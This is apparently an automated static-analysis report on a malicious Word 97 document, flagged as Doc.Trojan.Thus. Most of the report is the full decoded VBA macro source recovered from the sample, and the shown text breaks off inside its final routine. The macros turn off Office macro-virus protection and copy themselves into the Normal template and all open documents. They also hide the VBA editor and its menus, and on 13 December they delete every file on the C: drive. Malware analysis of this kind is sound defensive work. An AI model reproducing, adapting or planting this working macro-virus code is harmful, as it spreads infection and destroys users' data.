Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a1d2439cdb39be7a…

MALICIOUS

Office (OLE)

92.0 KB Created: 2001-05-31 05:07:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-02
MD5: c828b5441db024f82d0e01bba5948480 SHA-1: 3901680fbe257d433bf60c6e69fe1ecd4d3c5fdd SHA-256: a1d2439cdb39be7a3b69790f89e1a998f0a2ceb369e802f75496c420c4234d4a
246 Risk Score

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
                    If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 94,208 bytes but its declared streams total only 15,654 bytes — 78,554 bytes (83%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Recovered VBA macro source from orphaned project info OLE_ORPHANED_VBA_MACRO_SOURCE
    oletools recovered no VBA project, but VBA source-cache records (module names, API calls, dropped paths and literal source lines) survive in unallocated OLE space — a stripped or corrupted VBA project, typical of legacy Word 97 macro viruses. The macro source was recovered and carved for review and signature scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
vba_orphaned_source.txt vba-orphaned-source analyzer.wordbasic.recover_length_prefixed_source (VBA source-cache records recovered from a stripped/orphaned project in unallocated OLE space) 414 bytes
SHA-256: 8ed04767f7112f618950d2cc4cd23f829b78f7d8b85ebcf66aa9cf53410c9e44
Preview script
First 1,000 lines of the extracted script
ThisDocument
Project
C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL
VBA
C:\Program Files\Microsoft Office\Office\MSWORD8.OLB
Word
C:\WINDOWS.000\SYSTEM\stdole2.tlb
stdole
C:\WINDOWS.000\SYSTEM\MSForms.TWD
MSForms
C:\WINDOWS.000\TEMP\VBE\MSForms.exd
C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\MSO97.DLL
Office
Document
Document_Open
Document_Close
Document_New
'Thus_001'
VBA332.DLL
C:\
*.*
Module1
lcm
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30350 bytes
SHA-256: b28b1c35a610c77587638e8e719b7c4ac9313fb28de04689c915989d3dadfa13
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub



































































































Attribute VB_Name = "lcm"
Sub AutoClose()
    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "\lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    




exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub


Sub AutoExit()
    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "\lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    

exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub


Sub AutoOpen()

    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    

pun:
    If WordBasic.Month(WordBasic.Now()) = 2 And WordBasic.Day(WordBasic.Now()) = 14 Then
try:
        On Error GoTo -1: On Error GoTo 0
        On Error GoTo -1: On Error GoTo try
Selection.TypeParagraph
For i = 1 To 50
    Selection.TypeParagraph
    Selection.TypeText Text:="HI£¬ÄãºÃ£¡ "
    Selection.TypeParagraph
    Selection.TypeText Text:="  ½ñÌìÊÇÇéÈ˽ڣ¬ÎÒÓÖÏëÆðÁËÄÇ´¬£¬ÄǺӺÍÔÚÄÇÌõºÓºÍ´¬ÉÏÓöµ½µÄÒ»¸öÔøÏëΪ֮ÉúΪ֮ËÀµÄÅ®º¢£¬»¹ÓÐÒ»Ìõ×ÔÒÑÏÖÔÚÎÞÄÜΪÁ¦Òª»»»ØµÄÏîÁ´......"
    Selection.TypeParagraph
Next i
End If
Selection.TypeParagraph


exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub



Sub AutoNew()
    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "\lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
